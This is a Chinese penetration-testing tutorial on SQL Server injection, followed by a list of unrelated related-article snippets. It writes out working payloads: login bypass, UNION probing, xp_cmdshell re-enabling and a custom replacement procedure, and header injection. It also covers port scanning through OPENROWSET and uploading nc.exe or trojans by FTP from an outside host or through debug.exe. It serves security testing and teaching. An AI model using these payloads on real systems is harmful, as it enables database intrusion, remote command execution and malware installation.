安全测试之五:SQL Server注入漏洞几个实例
示例 1:在 GET 请求中测试 SQL 注入
最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时,攻击者可以尝试输入以下字符串 “' or '1'='1”(不包含双引号):
https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
如果应用程序正在使用动态 SQL 查询,并且该字符串将附加到用户凭证验证查询中,那么攻击者可能会成功登录应用程序。
示例 2:在 Get 请求中进行 SQL 注入以了解列数
为了了解目标表中存在多少列,攻击者可以构造如下请求:
https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--
示例 3:POST 请求中的 SQL 注入
在 POST 请求中进行 SQL 注入时,攻击者可以修改请求的内容。例如,注入的 HTTP POST 内容如下:
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
一个完整的 POST 示例(https://vulnerable.web.app/forgotpass.asp):
POST /forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
[...]
Referer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
当在电子邮件字段中输入(单引号)字符时,可能会获得如下错误消息:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15
这些错误消息可以帮助攻击者分析应用程序的 SQL 查询构建方式。
示例 4:另一个(非常有效的)GET 示
攻击者可以通过 GET 请求获取应用程序的源代码,构造如下请求:
a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
该请求会将登录页面的源代码复制到一个可访问的文件中。
示例 5:自定义 xp_cmdshell
所有描述 SQL Server 安全最佳实践的书籍和论文都建议在 SQL Server 2000 中禁用 xp_cmdshell(在 SQL Server 2005 中默认禁用)。然而,如果攻击者具有 sysadmin 权限(可以通过本地权限提升或暴力破解 sysadmin 密码获得),通常可以绕过此限制。
- 在 SQL Server 2000 上:
- 如果 xp_cmdshell 已禁用,攻击者可以简单地注入以下代码:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
- 如果上述代码不起作用,意味着相关文件已被移动或删除。在这种情况下,攻击者需要注入以下代码:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) ASDECLARE @result int, @OLEResult int, @RunResult intDECLARE @ShellID intEXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUTIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @WaitIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OADestroy @ShellIDreturn @result
这段代码由 Antonin Foller 撰写,它创建了一种新的使用方式,并且不会被默认禁用。在使用它之前,攻击者需要删除之前创建的(即使它不起作用),否则两个声明将冲突。
- 在 SQL Server 2005 上:
xp_cmdshell 可以通过注入以下代码来启用:
master..sp_configure 'show advanced options',1reconfigure
master..sp_configure 'xp_cmdshell',1reconfigure
示例 6:利用 Referer /User - Agent 进行 SQL 注入
攻击者可以通过修改 HTTP 请求的 Referer 头部或 User - Agent 头部来执行任意 SQL 代码。
- Referer 头部注入:
将 Referer 头部设置为:
Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--
这样就允许执行任意 SQL 代码。
- User - Agent 头部注入:
将 User - Agent 头部设置为以下内容同样会允许执行任意 SQL 代码:
User - Agent: user_agent', 'some_ip'); [SQL CODE]--
示例 7:SQL Server 作为端口扫描器
在 SQL Server 中,OpenRowset 命令是一个非常有用的工具,渗透测试人员可以使用它在目标网络中扫描其他机器的端口。注入以下查询:
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
此查询将尝试连接到地址 x.y.w.z 的指定端口 p。如果端口关闭,将返回以下消息:
SQL Server does not exist or access denied
如果端口打开,则将返回以下错误之一:
General network error. Check your network documentation
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error
当然,错误消息并不总是可用。如果是这种情况,攻击者可以使用响应时间来判断端口状态:使用封闭的端口,会发生超时(此示例中的 5 秒),而开放端口将立即返回结果。需要注意的是,SQL Server 2000 中默认情况下启用了 OpenRowset,但在 SQL Server 2005 中被禁用。
示例 8:可执行文件的上传
一旦攻击者可以使用 xp_cmdshell(无论是原生的还是自己修改过的),就可以轻松地将可执行文件上传到目标数据库服务器上。一个常见的选择是上传 netcat.exe,但任何木马都可以。
- 使用 FTP 上传:
如果允许目标启动 FTP 连接到渗透测试人员的计算机,攻击者只需要注入以下查询:
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
此时将上传 nc.exe 并可以使用。
- 绕过防火墙上传:
如果防火墙不允许使用 FTP,攻击者可以利用默认安装在所有 Windows 机器上的 Windows 调试器 debug.exe。Debug.exe 是可编写脚本的,并且能够通过执行适当的脚本文件来创建可执行文件。攻击者需要做的是将可执行文件转换为调试脚本(这是一个 100% 的 ASCII 文件),逐行上传它,最后调用 debug.exe。有几个工具可以创建这种调试文件(例如:Ollie Whitehouse 的 makescr.exe 和 toolcrypt.org 的 dbgtool.exe)。因此,攻击者可以用以下内容进行注入的查询:
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--....exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
在这时,攻击者的可执行文件就可以在目标计算机上使用了。
相关文章:
安全测试之五:SQL Server注入漏洞几个实例
示例 1:在 GET 请求中测试 SQL 注入 最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时,攻击者可以尝试输入以下字符串 “ or 11”(不包含双引号): https://vulnerable.web.ap…...
2024 ChatGPT大模型技术场景与商业应用视频精讲合集(45课).zip
2024ChatGPT大模型技术场景与商业应用视频精讲合集,共十三章,45课。 01. 第一章 ChatGPT:通用人工智能的典范 1.1 ChatGPT概述 .mp4 1.2 通用能力 .mp4 1.3 通用人工智能风口 .mp4 02. 第二章 大模型:ChatGPT的核心支撑 2.1 底层…...
HTTP四次挥手是什么?
四次挥手,这是TCP协议用来关闭连接的过程。四次挥手是确保两个主机之间能够安全、可靠地关闭连接的重要机制。我会用简单易懂的方式来讲解,帮助你理解它的原理和过程。 1. 什么是四次挥手? 定义 四次挥手是TCP协议用来关闭连接的过程。它通…...
前端内存泄漏的几种情况及方案
前端内存泄漏是常见但容易被忽视的问题,可能导致页面卡顿、崩溃或性能下降。以下是几种典型场景及解决方案: 1. 未清理的全局变量 场景: 意外创建全局变量(未使用 var/let/const)。主动挂载到 window 的大对象未释放…...
人工智能之数学基础:线性代数中的特殊矩阵
本文重点 矩阵是数学中一个重要的工具,在各个领域都有广泛的应用。其中,一些特殊矩阵由于具有独特的性质,在特定的问题中发挥着关键作用。 单位矩阵 单位矩阵是一种特殊的方阵,在矩阵乘法中起到类似于数字 “1” 的作用。对于一个的单位矩阵,其主对角线元素全为 1,其余…...
单例模式---是 Spring 容器的核心特性之一
1.最近面试让手写一个单例;我一直知道单例;但是一直很困惑;工作中也没怎么用过;为什么面试总问;今天我才知道思考出来;单例是spring容器的核心特性;很多知识我只知道是什么;但是没有…...
代码随想录算法【Day59】
47. 参加科学大会 思路 使用Dijkstra 算法 计算从起点(节点 1)到终点(节点 n)的最短路径。用优先队列(小顶堆) 维护当前未访问的最短路径节点,每次选择距离最短的未访问节点进行更新ÿ…...
Linux篇——工具
在有了前面的基础知识后,我们现在基本能够使用Linux的相关基本操作了,但我们知道,没有工具我们是无法便捷地实现某些功能的,因此我们这篇内容来谈谈Linux中的工具。 一、软件包管理器yum 我们知道,我们要想获得一个软…...
leetcode第77题组合
原题出于leetcode第77题https://leetcode.cn/problems/combinations/ 1.树型结构 2.回溯三部曲 递归函数的参数和返回值 确定终止条件 单层递归逻辑 3.代码 二维数组result 一维数组path void backtracking(n,k,startindex){if(path.sizek){result.append(path);return ;}…...
通过fgets获取文件内容
#include <stdio.h> char *fgets(char *s, int size, FILE *stream); 使用fgets获取文件内容 #include <stdio.h> #include <stdlib.h>int main(void) {char str[100] {0};FILE *fp NULL;fp fopen("./test_file", "r");if (NULL …...
STaR(Self-Taught Reasoner)方法:让语言模型自学推理能力(代码实现)
STaR(Self-Taught Reasoner)方法:让语言模型自学推理能力 在大型语言模型(LLM)的推理能力优化中,STaR(Self-Taught Reasoner) 是一种引人注目的技术,属于“修改提议分布…...
[创业之路-329]:华为铁三角实施的步骤
一、通用过程 华为铁三角实施的步骤主要包括以下几个关键阶段: 1、明确角色与职责 确定铁三角成员:组建由客户经理(AR)、解决方案经理(SR)和交付经理(FR)组成的铁三角团队。制定岗…...
在 Ubuntu 下通过 Docker 部署 Caddy 和 PHP-FPM 服务器
引言 大家好,今天我们要聊的主题是如何在 Ubuntu 上通过 Docker 部署 Caddy 和 PHP-FPM 服务器。Caddy 是一个现代化的 web 服务器,支持 HTTPS,配置简单;而 PHP-FPM 是 PHP 的 FastCGI 进程管理器,能够高效处理 PHP 请…...
工程化与框架系列(10)--微前端架构
微前端架构 🏗️ 微前端是一种将前端应用分解成更小、更易管理的独立部分的架构模式。本文将详细介绍微前端的核心概念、实现方案和最佳实践。 微前端概述 🌟 💡 小知识:微前端的核心理念是将前端应用分解成一系列独立部署、松耦…...
Nacos + Dubbo3 实现微服务的Rpc调用
文章目录 概念整理基本概念概念助记前提RPC与HTTP类比RPC接口类的一些理解 实例代码主体结构父项目公共接口项目提供者项目项目结构POM文件实现配置文件实现公共接口实现程序入口配置启动项目检查是否可以注入到Nacos 消费者项目项目结构POM文件实现配置文件实现注册RPC服务类实…...
算法-数据结构(图)-弗洛伊德算法复现(Floyd)
弗洛伊德算法(Floyd-Warshall算法)是一种用于求解所有节点对最短路径的动态规划算法,适用于有向图或无向图,且能处理带有负权边的图(但不能有负权环)。该算法的时间复杂度为 O(V3)O(V3),其中 VV…...
51c自动驾驶~合集22
我自己的原文哦~ https://blog.51cto.com/whaosoft/11870502 #自动驾驶数据闭环最前沿论文 近几年,自动驾驶技术的发展日新月异。从ECCV 2020的NeRF问世再到SIGGRAPH 2023的3DGS,三维重建走上了快速发展的道路!再到自动驾驶端到端技术的…...
使用Docker方式一键部署MySQL和Redis数据库详解
一、前言 数据库是现代应用开发中不可或缺的一部分,MySQL和Redis作为两种广泛使用的数据库系统,分别用于关系型数据库和键值存储。本文旨在通过Docker和Docker Compose的方式,提供一个简洁明了的一键部署方案,确保数据库服务的稳…...
Vue3 + Vite + TS,使用 Pinia
安装pinia pnpm add piniaPinia 官网 传送门 main.js引入 import { createApp } from vue import App from ./App.vue import { createPinia } pinia const app createApp(App); app.use(createPinia()) app.mount("#app")创建一个pinia,scr/stores/index impor…...
算法之刷题汇总
剑指 Offer 剑指 Offer 题解 | CS-Notes 面试笔记 Leetcode Leetcode 题解 | CS-Notes 面试笔记 GitCode - 全球开发者的开源社区,开源代码托管平台...
支持向量机(Support Vector Machine,SVM)详细解释(带示例)
目录 基本概念 线性可分情况 线性不可分情况 工作原理 示例 Python 案例 代码解释 基本概念 支持向量机是一种有监督的机器学习算法,可用于分类和回归任务。在分类问题中,SVM 的目标是找到一个最优的超平面,将不同类别的样本分隔开来…...
基于javaweb的SpringBoot在线动漫信息平台系统设计和实现(源码+文档+部署讲解)
技术范围:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论…...
Http、tcp、https、socket、tomcat、长短连接等总结回顾
(1)关于http、tcp的长短连接问题 tcp是没有所谓长连接的概念的。tcp经过三次握手就已经建立了一个连接,这个所谓建立了一个连接就是两边操作系统层面都已经建立了socket,都准备好了相应的缓冲区等。socket是啥呢?sock…...
010 rocketmq批量消息
文章目录 批量消息BatchProducer.javaBatchConsumer.java 批量消息 批量发送可以提⾼发送性能,但有⼀定的限制: topic 相同 waitStoreMsgOK 相同 (⾸先我们建设消息的iswaitstoremsgoktrue(默认为true), 如果没有异常,我们将始终收到"O…...
【Qt】MVC设计模式
目录 一、搭建MVC框架 二、创建数据库连接单例类SingleDB 三、数据库业务操作类model设计 四、control层,关于model管理类设计 五、view层即为窗口UI类 一、搭建MVC框架 里面的bin、lib、database文件夹以及sqlite3.h与工程后缀为.pro文件的配置与上次发的文章…...
doris:Hudi Catalog
使用限制 Hudi 表支持的查询类型如下: 表类型支持的查询类型Copy On WriteSnapshot Query, Time Travel, Icremental ReadMerge On ReadSnapshot Queries, Read Optimized Queries, Time Travel, Icremental Read 目前支持 Hive Metastore 和兼容 Hive Metasto…...
ARM 处理器平台 eMMC Flash 存储磨损测试示例
By Toradex秦海 1). 简介 目前工业嵌入式 ARM 平台最常用的存储器件就是 eMMC Nand Flash 存储,而由于工业设备一般生命周期都比较长,eMMC 存储器件的磨损寿命对于整个设备来说至关重要,因此本文就基于 NXP i.MX8M Mini ARM 处理器平台演示…...
本地部署DeepSeek-R1(Dify发件邮箱、找回密码、空间名称修改)
Dify配置发件邮箱 DIfy默认邮箱配置为空,在邀请团队成员注册时是不会发送邀请链接的,只能通过手动复制生成的注册链接发送给对应的人去注册设置密码。 这样很麻烦,并且在找回密码时也接收不了邮件,无法重置密码。 找到本地部署…...
EasyRTC:支持任意平台设备的嵌入式WebRTC实时音视频通信SDK解决方案
随着互联网技术的飞速发展,实时音视频通信已成为各行各业数字化转型的核心需求之一。无论是远程办公、在线教育、智慧医疗,还是智能安防、直播互动,用户对低延迟、高可靠、跨平台的音视频通信需求日益增长。 一、WebRTC与WebP2P:实…...
数据库数据恢复—SQL Server附加数据库报错“错误 823”怎么办?
SQL Server数据库附加数据库过程中比较常见的报错是“错误 823”,附加数据库失败。 如果数据库有备份则只需还原备份即可。但是如果没有备份,备份时间太久,或者其他原因导致备份不可用,那么就需要通过专业手段对数据库进行数据恢复…...
